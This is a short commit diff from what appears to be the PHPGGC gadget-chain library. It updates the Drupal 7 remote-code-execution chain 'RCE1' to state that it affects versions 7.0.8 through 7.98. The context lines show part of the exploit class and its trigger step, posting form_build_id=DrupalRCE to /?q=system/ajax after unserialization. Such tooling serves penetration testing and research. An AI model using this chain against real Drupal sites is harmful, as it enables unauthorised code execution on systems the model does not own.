Fixed version for Drupal7/RCE1

mcdruid · mcdruid · commit aab3b9afb43c · 2023-12-06T15:00:12.000Z
diff --git a/gadgetchains/Drupal7/RCE/1/chain.php b/gadgetchains/Drupal7/RCE/1/chain.php
@@ -4,7 +4,7 @@
 
 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
 {
-    public static $version = '7.0.8 < ?';
+    public static $version = '7.0.8 <= 7.98';
     public static $vector = '__destruct';
     public static $author = 'Blaklis';
     public static $information = 'You will need to post form_build_id=DrupalRCE to /?q=system/ajax once the payload is unserialized';
@@ -16,4 +16,4 @@ public function generate(array $parameters)
 
         return new \SchemaCache($function,$parameter);
     }
-}
+}

Original file line number	Diff line number	Diff line change
`@@ -4,7 +4,7 @@`
`4`	`4`
`5`	`5`	`class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall`
`6`	`6`	`{`
`7`		`- public static $version = '7.0.8 < ?';`
	`7`	`+ public static $version = '7.0.8 <= 7.98';`
`8`	`8`	`public static $vector = '__destruct';`
`9`	`9`	`public static $author = 'Blaklis';`
`10`	`10`	`public static $information = 'You will need to post form_build_id=DrupalRCE to /?q=system/ajax once the payload is unserialized';`
`@@ -16,4 +16,4 @@ public function generate(array $parameters)`
`16`	`16`
`17`	`17`	`return new \SchemaCache($function,$parameter);`
`18`	`18`	`}`
`19`		`-}`
	`19`	`+}`